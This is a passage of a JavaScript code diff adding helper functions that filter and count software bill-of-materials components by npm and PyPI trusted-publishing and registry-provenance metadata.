+ return (
125
+ hasComponentTrustedPublishing(component) ||
126
+ hasComponentRegistryProvenanceEvidence(component)
127
+ );
128
+ }
129
+
130
+ /**
131
+ * Filter components to those carrying trusted publishing metadata.
132
+ *
133
+ * @param {object[]} components BOM components
134
+ * @returns {object[]} Trusted-publishing-backed components
135
+ */
136
+ export function getTrustedComponents(components) {
137
+ if (!Array.isArray(components)) {
138
+ return [];
139
+ }
140
+ return components.filter((component) =>
141
+ hasComponentTrustedPublishing(component),
142
+ );
143
+ }
144
+
145
+ /**
146
+ * Filter components to those carrying direct registry provenance evidence.
147
+ *
148
+ * @param {object[]} components BOM components
149
+ * @returns {object[]} Provenance-backed components
150
+ */
151
+ export function getProvenanceComponents(components) {
152
+ if (!Array.isArray(components)) {
153
+ return [];
154
+ }
155
+ return components.filter((component) =>
156
+ hasComponentRegistryProvenanceEvidence(component),
157
+ );
158
+ }
159
+
160
+ /**
161
+ * Count components with trusted publishing metadata by registry ecosystem.
162
+ *
163
+ * @param {object[]} components BOM components
164
+ * @returns {{npm: number, pypi: number, total: number}} Trusted publishing counts
165
+ */
166
+ export function getTrustedPublishingComponentCounts(components) {
167
+ const counts = {
168
+ npm: 0,
169
+ pypi: 0,
170
+ total: 0,
171
+ };
172
+ if (!Array.isArray(components)) {
173
+ return counts;
174
+ }
175
+ for (const component of components) {
176
+ const npmTrustedPublishing =
177
+ getComponentPropertyValue(component, NPM_TRUSTED_PUBLISHING_PROPERTY) ===
178
+ "true";
179
+ const pypiTrustedPublishing =
180
+ getComponentPropertyValue(component, PYPI_TRUSTED_PUBLISHING_PROPERTY) ===
181
+ "true";
182
+ if (npmTrustedPublishing) {
183
+ counts.npm += 1;
184
+ }
185
+ if (pypiTrustedPublishing) {
186
+ counts.pypi += 1;
187
+ }
188
+ if (npmTrustedPublishing || pypiTrustedPublishing) {
189
+ counts.total += 1;
190
+ }
191
+ }
192
+ return counts;
193
+ }